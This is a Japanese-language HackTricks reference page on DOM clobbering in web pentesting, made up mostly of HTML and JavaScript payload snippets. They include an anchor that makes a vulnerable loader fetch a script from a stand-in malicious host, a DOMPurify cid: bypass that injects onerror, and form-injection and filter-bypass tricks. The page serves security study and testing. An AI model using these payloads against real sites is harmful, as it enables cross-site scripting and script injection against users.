hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

# Dom Clobbering

<details>

<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* **サイバーセキュリティ企業**で働いていますか？ **HackTricksで会社を宣伝**したいですか？または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか？[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASS＆HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、PRを** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**

</details>

## **Basics**

**HTMLタグ内の`id`**と**`name`**属性を使用して、**JSコンテキスト内でグローバル変数を生成する**ことが可能です。
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**特定の要素**だけが**name属性**を使用してグローバルを上書きできます。それらは、`embed`、`form`、`iframe`、`image`、`img`、`object`です。

興味深いことに、**form要素**を使用して変数を**上書き**すると、要素自体の**`toString`**値が取得されます：`[object HTMLFormElement]`が、**anchor**では**`toString`**がアンカーの**`href`**になります。したがって、**`a`**タグを使用して上書きすると、それが**文字列として扱われるときの値**を**制御**できます：
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### 配列と属性

配列やオブジェクトの属性を**上書き**することも可能です。
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
**3番目の属性**（例：x.y.z）をclobberするには、**`form`**を使用する必要があります：
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
より多くの属性をクロベリングすることは**より複雑ですが、依然として可能**です。iframesを使用します：
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
スタイルタグは、**iframeがレンダリングされる十分な時間を与えるために使用**されます。これがないと、**未定義**のアラートが表示されます。
{% endhint %}

より深い属性を上書きするには、次のように**HTMLエンコーディングを使用したiframe**を使用できます：
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **フィルターのバイパス**

もしフィルターが`document.getElementByID('x').attributes`のような方法でノードの**プロパティ**を**ループ**している場合、属性**`.attributes`**を**上書き**してフィルターを**破壊**することができます。他のDOMプロパティ、例えば**`tagName`**、**`nodeName`**、**`parentNode`**なども**上書き可能**です。
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **`window.someObject`のクロベリング**

JavaScriptでは、次のようなものが一般的です：
```javascript
var someObject = window.someObject || {};
```
Manipulating HTML on the page allows overriding `someObject` with a DOM node, potentially introducing security vulnerabilities. For example, you can replace `someObject` with an anchor element pointing to a malicious script:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
脆弱なコードの例：
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
この方法は、スクリプトソースを悪意のあるコードを実行するために悪用します。

**トリック**: **`DOMPurify`**を使用すると、**`cid:`**プロトコルを使用できますが、これは**二重引用符をURLエンコードしない**ことを意味します。これにより、**ランタイムでデコードされるエンコードされた二重引用符を注入**できます。したがって、**`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**のようなものを注入すると、HTMLエンコードされた`&quot;`が**ランタイムでデコード**され、属性値から**脱出**して**`onerror`**イベントを**作成**します。

別のテクニックとして、**`form`**要素を使用する方法があります。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。ただし、フォーム内に`id=attributes`を持つ`input`を追加することで、実際の属性にアクセスできないように属性プロパティを上書きすることができます。

この種のクロブリングの例は、[**このCTF解説で見つけることができます**](iframes-in-xss-and-csp.md#iframes-in-sop-2)。

## ドキュメントオブジェクトのクロブリング

ドキュメントオブジェクトの属性を上書きすることができるというドキュメントによると、DOM Clobberingを使用して次のようになります：

> [Document](https://html.spec.whatwg.org/multipage/dom.html#document)インターフェースは、[名前付きプロパティをサポート](https://webidl.spec.whatwg.org/#dfn-support-named-properties)しています。[Document](https://html.spec.whatwg.org/multipage/dom.html#document)オブジェクトのサポートされているプロパティ名は、[いつでも](https://webidl.spec.whatwg.org/#dfn-supported-property-names)、[木の順序](https://dom.spec.whatwg.org/#concept-tree-order)に従って、後の重複を無視し、[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性の値が、同じ要素が両方の属性を提供する場合には、[名前](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)属性から値が来るときに、次のようになります：
>
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element)、[form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element)、[iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element)、[img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)、および[公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の名前コンテンツ属性の値は、名前コンテンツ属性が空でない要素が、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合;\
> \
> \- [公開](https://html.spec.whatwg.org/multipage/dom.html#exposed)された[object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element)要素の名前コンテンツ属性が空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)コンテンツ属性を持ち、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合;\
> \
> \- [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element)要素の名前コンテンツ属性と名前コンテンツ属性が両方とも空でない[id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute)コンテンツ属性を持ち、ドキュメントを[ルート](https://dom.spec.whatwg.org/#concept-tree-root)として持つ[ドキュメントツリー](https://dom.spec.whatwg.org/#in-a-document-tree)にある場合。

このテクニックを使用すると、**`document.cookie`、`document.body`、`document.children`**などの一般的に使用される**値や、`document.querySelector`**のようなDocumentインターフェースのメソッドを上書きできます。
```javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object
```
## 要素を乗っ取った後の書き込み

**`document.getElementById()`** および **`document.querySelector()`** への呼び出し結果は、同一のid属性を持つ `<html>` または `<body>` タグを注入することで変更することができます。以下にその方法を示します:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
さらに、これらの挿入されたHTML/bodyタグを非表示にするためにスタイルを使用することで、`innerText`内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます。
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
SVGへの調査から、`<body>` タグも効果的に利用できることが明らかになりました：
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
ブラウザー（ChromeやFirefoxなど）でSVG内でHTMLタグを機能させるには、`<foreignobject>`タグが必要です：
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## フォームのクロバリング

いくつかのタグ内で`form`属性を指定することで、フォーム内に新しいエントリを追加することが可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加してそれを送信することさえできます（クリックジャッキングまたは一部の`.click()` JSコードを悪用）。
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}

* [**button check this**](https://www.w3schools.com/tags/tag\_button.asp)**でさらにフォーム属性を確認してください。**

## 参考文献

* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.

<details>

<summary><strong>htARTE（HackTricks AWS Red Team Expert）でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

* **サイバーセキュリティ企業で働いていますか？** **HackTricksで会社を宣伝したいですか？** または **最新バージョンのPEASSにアクセスしたいですか？またはHackTricksをPDFでダウンロードしたいですか？** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASS＆HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。
* **ハッキングトリックを共有するために** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**

</details>